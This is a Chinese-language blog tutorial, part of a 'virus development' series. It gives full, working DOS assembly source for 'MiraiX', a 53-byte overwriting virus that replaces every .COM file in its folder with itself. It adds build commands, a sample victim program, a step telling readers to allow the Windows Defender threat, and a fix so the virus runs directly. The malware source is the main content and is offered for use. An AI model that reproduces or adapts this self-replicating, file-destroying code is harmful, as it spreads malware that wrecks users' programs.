ETH官方钱包

前往
大廳
主題

病毒開發(fā)(6) - 僅有53 bytes的組合語(yǔ)言覆寫病毒(更1)

虛鹿 | 2022-02-17 11:20:57 | 巴幣 1246 | 人氣 703


[#] 警告: 以下內(nèi)文有大量的組合語(yǔ)言內(nèi)容,
務(wù)必先看過病毒開發(fā)(4)(5)再來觀看本篇。
至少,需要看的懂上一篇的Hello World的原始碼

Hi~ Hi~ 終於又見面啦 !
今天要帶給各位的是組語(yǔ)的COM Infector 。
講白了,就是會(huì)感染COM執(zhí)行檔的程式,
其最為常見的形式可分為三大類:
                   1. Overwriting Virus
                   2. Companion Virus
                   3. Parasitic Virus
其個(gè)別的定義,
窩就直接設(shè)在超連結(jié)內(nèi)以方便諸君查看,
其實(shí)真的很酷啦,
畢竟他們都有超她媽有創(chuàng)意的感染手法。

至於為什麼這篇會(huì)拖那麼久呢~
主要是因?yàn)镈ebug的過程一直出問題,
再加上我有堅(jiān)持"不使用自己不懂的程式碼",
為了能看懂裡面每行的意思真的是有夠痛苦的說....
但★是★呢★
只要能夠跨越那條世界線,
一切都會(huì)輕鬆了不少呦 !!(^ω^)

而今天呢~
就來介紹三者之中最為基本的Overwrite Virus吧 !!
UMU !! 廢話不多說,直接上原始碼啦:

[#] MiraiX, Overwrite Virus, Assembly Ver
[#] Coded by Falsedeer(虛鹿)@巴哈姆特
.model tiny                      ;compile into a COM file
.386

.CODE
ORG 100h
FNAME EQU 9Eh

start:
        mov ah, 4Eh              ;4E - Search for the first match           
        xor cx, cx                   ;CX - attribute to use in search ;DX - search pattern
        mov dx, OFFSET target
        int 21h
search:
        jc done                      ;jump if carry flag = 1(C = 1)
        mov ah, 3Dh             ;3D - Open the file
        mov al, 2                   ;al - intruction type ;DX - name of file
        mov dx, FNAME       ;return AX as file handle
        int 21h

        xchg ax, bx              ;40 - Write to file
        mov ah, 40H            ;BX - file handle ;CX - bytes to write
        mov cx, 53               ;DX - buffer area
        mov dx, 100H
        int 21h

        mov ah, 3EH            ;3E - Close a sussecfly opened file
        int 21h                      ;BX - file handle

        mov ah, 4Fh             ;4F - search for the next match
        int 21h                      ;carry flag clear if successful
        jmp search
done:
        mov ah, 4Ch
        int 21h

target db "*.COM",0
end start

[#]常見疑問:
---------------------------------------------
Q1. 要 compile 成EXE還是COM?
Ans: COM
---------------------------------------------
Q2. mov ah, xxh 及 int 21h 是甚麼?
我只是用了更多funtion而已。
---------------------------------------------
Q3. 為什麼要 .Model tiny ?
Ans: 那是COM執(zhí)行檔的記憶體模型。
---------------------------------------------
Q4. 為什麼要 ORG 100h ?
Ans: 指定執(zhí)行程式時(shí)的記憶體地址,
而100h是專屬COM檔的地址。
---------------------------------------------
Q5. 為什麼沒有把Data Segment放入DS?
Ans: COM檔的CS=DS=SS=ES,
因此不必指定Data的位置。
(如果指定,編譯就會(huì)出錯(cuò))
---------------------------------------------
Q6. 裡面為麼要?jiǎng)幽屈N多暫存器?
Ans: 這些都是依Dos Interupt規(guī)定設(shè)定的,
畢竟要使用功能,就需要設(shè)定參數(shù),
---------------------------------------------
Q7. 怎麼製作COM檔?
並使用Dosbox執(zhí)行:
        tasm miraix
        tlink /t miraix
---------------------------------------------

把MiraiX編譯成COM執(zhí)行檔後,
我們會(huì)需要一個(gè)擔(dān)任受害者的程式,
因此就先寫個(gè)簡(jiǎn)單的COM程式。

[#] Target.asm 原始碼:
.model tiny
.386
.CODE
ORG 100h
start:
    mov ah, 09h
    mov dx, OFFSET msg1
    int 21h
    mov dx, OFFSET msg2
    int 21h
    mov ah, 4ch
    int 21h

msg1 db "I am the target file~XD",13,10,"$"
msg2 db "Coded by Falsedeer, 02/17/22$"
end start

記得一樣把他Compile成Target.COM。

最後進(jìn)入實(shí)測(cè)階段啦 !!
而沒意外的話,在完成Compile不久後,
你的Window Defender會(huì)噴出來,
記得要允許威脅。

接著,
把MiraiX跟Target拉入TASM的資料夾,
並用Dosbox mount該磁碟,
再切換到該位置。(Ex. mount d D:\\TASM)
先執(zhí)行Target.COM確認(rèn)其被感染前的樣子,
沒意外的話,會(huì)看到以下的輸出結(jié)果:

執(zhí)行看看 td target.com 進(jìn)入turbo debugger,
看一眼被感染前的記憶體狀態(tài)。

退出後,
執(zhí)行 td miraix.com 再次進(jìn)入turbo debugger,
(Windows會(huì)擋,所以無法透過指令列執(zhí)行。)
去手動(dòng)去執(zhí)行MiraiX。


然後,
退出td,執(zhí)行看看Target.COM ,
這時(shí)候你便會(huì)發(fā)現(xiàn)Target已經(jīng)失靈了,
不會(huì)再印出原本該有的字串。

執(zhí)行 td target.COM,把它丟入Debugger,
便可發(fā)現(xiàn)它整個(gè)已經(jīng)變成 MiraiX的形狀了。

把Target.COM上傳至Virus Total,
便可發(fā)現(xiàn)它會(huì)被識(shí)別為"病毒"。
原因是MiraiX用自身覆寫了Target,
把自己寄生在Target.COM之中。
而在下次執(zhí)行Target.COM時(shí),
便可以產(chǎn)生感染其他檔案的效果。

好啦,今天就先講到這邊,
所有的原始碼及超連結(jié)還請(qǐng)諸君安心使用。
MiraiX只會(huì)感染自身資料夾中所有的COM檔,
因此不必替地使用VMWare去試驗(yàn)呦!!
\(≧▽≦)/

———————————————————-

[#]更一:
其實(shí)MiraiX不必要在debugger中執(zhí)行,
是我程式寫錯(cuò)了。
只要把 target db “*.COM$” 改成 “*.COM”,0
就可以在Dosbox中用 “miraix” 快樂執(zhí)行

剛剛查過了,
”$” 的字串結(jié)尾,
僅限呼叫Dos function 09h 才需要而已,
一般用 “,0” 就行了。




送禮物贊助創(chuàng)作者 !
0
留言

創(chuàng)作回應(yīng)

虛鹿
還好吧
2022-02-18 18:06:56
Nero
酷 github是你最近才申請(qǐng)ㄉㄇ
2022-02-17 16:53:46
虛鹿
申請(qǐng)大概3個(gè)月了吧,只是平時(shí)沒什麼在用而已
2022-02-18 18:07:22

更多創(chuàng)作